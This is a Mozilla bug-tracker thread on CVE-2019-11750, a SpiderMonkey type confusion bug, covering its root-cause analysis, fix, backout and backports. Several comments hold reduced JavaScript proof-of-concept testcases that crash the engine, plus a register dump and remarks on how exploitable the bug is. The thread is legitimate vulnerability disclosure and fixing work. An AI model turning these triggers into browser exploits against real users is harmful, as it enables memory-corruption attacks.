1568397 - (CVE-2019-11750) SpiderMonkey uninitialized memory leads to Type Confusion between "undefined" with any object

Status: RESOLVED FIXED

(Core :: JavaScript Engine, defect, P1)

Description

[S0rryMybad]

Attachment: poc.html

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36

Steps to reproduce:

1. open the html file with the latest firefox
2. firefox renderer process crash.

Actual results:

1. firefox will crash as type confusion happen between "undefined" and a normal object:

00000071cb00f521 4c395908 cmp qword ptr [rcx+8],r11 ds:0007800000000008=????????????????

Expected results:

1. not crash

Comment 1

[S0rryMybad]

Here is a type confusion bug in SpiderMonkey.

The root cause is in function |AnalyzeNewScriptDefiniteProperties|, the in parm |group| is the finial |initializedGroup_|, but this
group will call |detachNewScript|.

So in the function |AnalyzeNewScriptDefiniteProperties| => |AnalyzePoppedThis| => |AddClearDefiniteGetterSetterForPrototypeChain|, the in parm still |initializedGroup_| which will be detach NewScript soon.

So even if we change the |proto| of prototype chain, SpiderMonkey will call |newPropertyState| => |group->clearNewScript|, because the group was call |detachNewScript|, so it will nothing happen in |clearNewScript|.

I think we should use |initialGroup|(in |maybeAnalyze|) in function |AddClearDefiniteGetterSetterForPrototypeChain|

Comment 2

[:Gijs (he/him)]

Just moving this to JS land - I can reproduce a tab crash on nightly, though I see a nullptr crash there: https://crash-stats.mozilla.org/report/index/e581285c-71db-4ac5-9b67-1d39f0190724 , but I'm not familiar with the JS engine myself so don't know about comment #1. Jan?

Comment 3

[Christian Holler (:decoder)]

This is an automated crash issue comment:

Summary: Assertion failure: MIR instruction returned object with unexpected type, at js/src/jit/MacroAssembler.cpp:1711
Build version: mozilla-central revision db8f3ee41bdf
Build flags: --enable-valgrind --enable-gczeal --disable-tests --disable-profiling --enable-debug --enable-optimize
Runtime options: --fuzzing-safe --cpu-count=2 --ion-offthread-compile=off

Testcase:

    let p = new Proxy({}, {
      set: function(t, p, value) {
        g_compile = value;
        new jit(1.1, 0x100000);
      }
    });
    let obj = {"x":1};
    let proto = {};
    proto.__defineGetter__("d", function() {
    function jit2(arg) {
      obj.x = 1.1;
      return arg.c.x;
    }
    for(let i = 0;i < 0x10000;i++)
      jit2(g_compile);
    x = jit2(this);
    })
    function jit(val, l) {
      if(l == 0x100000)
        jit.prototype.__proto__ = proto;
      this.d;
      this.c = val;
      if(l == 2)
        p.gg = this;
      this.b = 2.2;
    }
    for(let i = 0;i < 0x4000;i++)
      new jit(obj, 1);
    new jit(obj, 2);

Backtrace:

    received signal SIGTRAP, Trace/breakpoint trap.
    0x0000067d0531af43 in ?? ()
    #0  0x0000067d0531af43 in ?? ()
    #1  0x00001ebb19a00240 in ?? ()
    #2  0x0000067d05285ac4 in ?? ()
    #3  0x0000000000002043 in ?? ()
    #4  0x00000363ad4abf00 in ?? ()
    #5  0x0000000000000000 in ?? ()
    rax	0x363ad489b50	3726643862352
    rbx	0x1ebb19a00240	33788937634368
    rcx	0xfff9800000000000	-1829587348619264
    rdx	0x1ebb19a00270	33788937634416
    rsi	0x7800000000000	2111062325329920
    rdi	0x0	0
    rbp	0x10000	65536
    rsp	0x7fffffff9a88	140737488329352
    r8	0xfff9800000000000	-1829587348619264
    r9	0xfff8800000000448	-2111062325328824
    r10	0xfff9800000000000	-1829587348619264
    r11	0x7ffff6b927a0	140737332717472
    r12	0x8	8
    r13	0x7fffffffa758	140737488332632
    r14	0x1ebb19a00210	33788937634320
    r15	0x7fffffff9b50	140737488329552
    rip	0x67d0531af43	7134027820867
    => 0x67d0531af43:	push   %r10
       0x67d0531af45:	push   %r9

Comment 4

[Christian Holler (:decoder)]

Testcase in comment 3 is reduced from the original testcase attached. Looks like the usual type confusion MIR assert, we have to assume this is exploitable somehow until Jan has investigated this. Marking sec-high until we know more. Also assuming all branches are affected because it was reported on 68.

Gary, can you bisect the testcase in comment 3 please?

Comment 5

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

Sure, thanks :decoder!

m = {
    get e() {
        function g(z) {
            return z.y.x;
        }
        for (let i = 0; i < 1; i++) {
            g(x);
        }
        g(this);
    }
};
p = new Proxy({}, {
    set: function(a, b, c) {
        x = c;
        new f("", 3);
    }
});
function f(u, v) {
    if (v == 3) {
        f.prototype.__proto__ = m;
    }
    this.e;
    this.y = u;
    if (v == 2) {
        p = this;
    }
    this.n = 2;
    p.h = this;
}
new f([]);

Further reduced from decoder's testcase in comment 3. Asserts js shell compiled with --enable-debug on m-c rev c05f61052576 and run with --fuzzing-safe --no-threads --ion-eager at:

Assertion failure: MIR instruction returned value with unexpected type, at jit/MacroAssembler.cpp:1704
Trace/breakpoint trap

Comment 6

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

This is an old bug. Before m-c rev 410d733097ac, the assertion failure was a crash at a weird memory address. I went back as far as m-c rev 514c80664661 (Mar 2015) but the crash still happens.

Jan will have to take this on.

Comment 7

[Iain Ireland [:iain]]

Attachment: poc.js

I poked at this a little bit this afternoon. I'm attaching a slightly more reduced testcase (the proxy is irrelevant) with some comments explaining what (I think) is going on.

I have no idea what the fix is.

Comment 8

[Iain Ireland [:iain]]

And here's a version of gkw's testcase without the proxy:

m = {
    get e() {
        function g(z) {
            return z.y.x;
        }
        for (let i = 0; i < 1; i++) {
            g(x);
        }
        g(this);
    }
};
function foo(c) {
    x = c;
    new f("", 3);
}
function f(u, v) {
    if (v == 3) {
        f.prototype.__proto__ = m;
    }
    this.e;
    this.y = u;
    if (v == 2) {
	global = this
    }
    this.n = 2;
    foo(this)
}
new f([]);

Comment 9

[S0rryMybad]

Hello,

In face, the root cause I was explained in comment 1, so you can generate a minimization poc through it if you want.

And how to fix this bug is the same.

Comment 10

[Jan de Mooij [:jandem]]

The definite properties analysis handles these two cases:

1. The set of properties found by the analysis exactly matches the ones of the preliminary objects. This is the simple case: these properties are marked as definite properties, there's a single group for everything.
2. The preliminary objects have more properties than the analysis found. That's what happens here.

To handle case 2:

• We create a new group (initialGroup). This group has just the properties found by the analysis.
• The initialGroup becomes the default group for new objects and this group has the TypeNewScript associated with it, instead of the original (fully initialized) group.
• The TypeNewScript stores the original shape and group: whenever a property addition results in an object having that shape, we change its group from initialGroup to the fully initialized group.

The reporter is correct about the problem with this scheme: the prototype constraints still reference the original (fully initialized) group and that group does not have the TypeNewScript anymore (it's on the initialGroup now) so these constraints effectively become no-ops and we fail to fix up a partially initialized object.

Comment 11

[Jan de Mooij [:jandem]]

Unboxed object removal helped a lot: I think you can unbox an |undefined| value as something else and get nullptr for objects/strings so it's not easy to exploit. Additionally, on 64-bit platforms our Spectre Value mitigations (XOR unboxing) means some high bits are set after unboxing so you can't do much with that pointer and not crash.

I'm wondering if we can stop handling case 2 in comment 10.

Comment 12

[Jan de Mooij [:jandem]]

(In reply to Jan de Mooij [:jandem] from comment #11)

I'm wondering if we can stop handling case 2 in comment 10.

Case 1 is more common but removing case 2 would regress some Octane tests a lot (say 40%) so that's not a great spot fix.

As relatively safe fix we could allocate the initial group upfront and pass it also to AnalyzeNewScriptDefiniteProperties and the constraints added there. Then the constraints could call clearNewScript on both groups. That way we don't affect group assignment etc.

Comment 13

[Jan de Mooij [:jandem]]

Attachment: Bug 1568397 part 1 - Fix definite properties analysis to use the correct group for constraints. r?iain!,tcampbell!

We now add information about the constraints to a new class (DPAConstraintInfo)
so we can then finish all constraints at the end. This is also nice to avoid
adding unnecessary constraints when the analysis fails.

Comment 14

[Jan de Mooij [:jandem]]

Attachment: Bug 1568397 part 2 - Add testcase. r?iain!,tcampbell!

Depends on D40444

Comment 15

[Jan de Mooij [:jandem]]

I think sec-moderate makes sense considering the only effect we know of is confusion with nullptr. However we should probably keep this closed, backport in a few days, and not land the test yet.

Comment 16

[S0rryMybad]

May be |undefined| type confusion with BigInt may be crash in a valid address.

Comment 17

[Jan de Mooij [:jandem]]

https://hg.mozilla.org/integration/autoland/rev/14a3fb05168b16c0cd806bce2f4e7994a55e6f4c

Comment 18

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out changeset for JS raptor crashes:

https://hg.mozilla.org/integration/autoland/rev/e4922316f2b078de8040f9151bab7d9cd718fa82

Push which ran failing job: https://treeherder.mozilla.org/#/jobs?repo=autoland&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception%2Cusercancel%2Cretry%2Csuperseded&revision=00aef750a2e9a5ae3fc05dba2a1e693a4c02e015&selectedJob=261355202
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=261355202&repo=autoland
PROCESS-CRASH | runner.py | application crashed [@ js::TypeNewScript::maybeAnalyze(JSContext*, js::ObjectGroup*, bool*, bool)]

Comment 19

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Closing as there is no leave-open in the keywords.

https://hg.mozilla.org/integration/autoland/rev/0cb31b4bc6f4d5a06b21441c500fe5bf31c976b7
https://hg.mozilla.org/mozilla-central/rev/0cb31b4bc6f4

Comment 20

[Ryan VanderMeulen [:RyanVM]]

Please nominate this for Beta and ESR68 approval when you get a chance. Also, is this something we should consider for ESR60 also given it being near EOL?

Comment 21

[Jan de Mooij [:jandem]]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #20)

Please nominate this for Beta and ESR68 approval when you get a chance. Also, is this something we should consider for ESR60 also given it being near EOL?

I'll request uplift after the weekend; some Nightly/fuzz testing would be good. I don't think we need this on ESR60 given almost-EOL (as you said) and not critical.

Comment 22

[Jan de Mooij [:jandem]]

Comment on attachment 9082657 [details]
Bug 1568397 part 1 - Fix definite properties analysis to use the correct group for constraints. r?iain!,tcampbell!

Beta/Release Uplift Approval Request

• User impact if declined: Crashes, correctness issues.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): The patch itself is not extremely complicated or big and has had some Nightly testing, but the code is still pretty complicated.
• String changes made/needed: None

Comment 23

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9082657 [details]
Bug 1568397 part 1 - Fix definite properties analysis to use the correct group for constraints. r?iain!,tcampbell!

Fixes a JS stability and security issue. Approved for 69.0b15 and 68.1esr.

Comment 24

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/fd21aed8462a
https://hg.mozilla.org/releases/mozilla-esr68/rev/b1482a07eafe

Comment 25

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/4fe33e9180dd
part 2 - Add testcase. r=iain,tcampbell

Comment 26

[BugBot [:suhaib / :marco/ :calixte]]

Bugbug thinks this bug is a regression, but please revert this change in case of error.

Comment 27

[Noemi Erli[:noemi_erli]]

https://hg.mozilla.org/mozilla-central/rev/4fe33e9180dd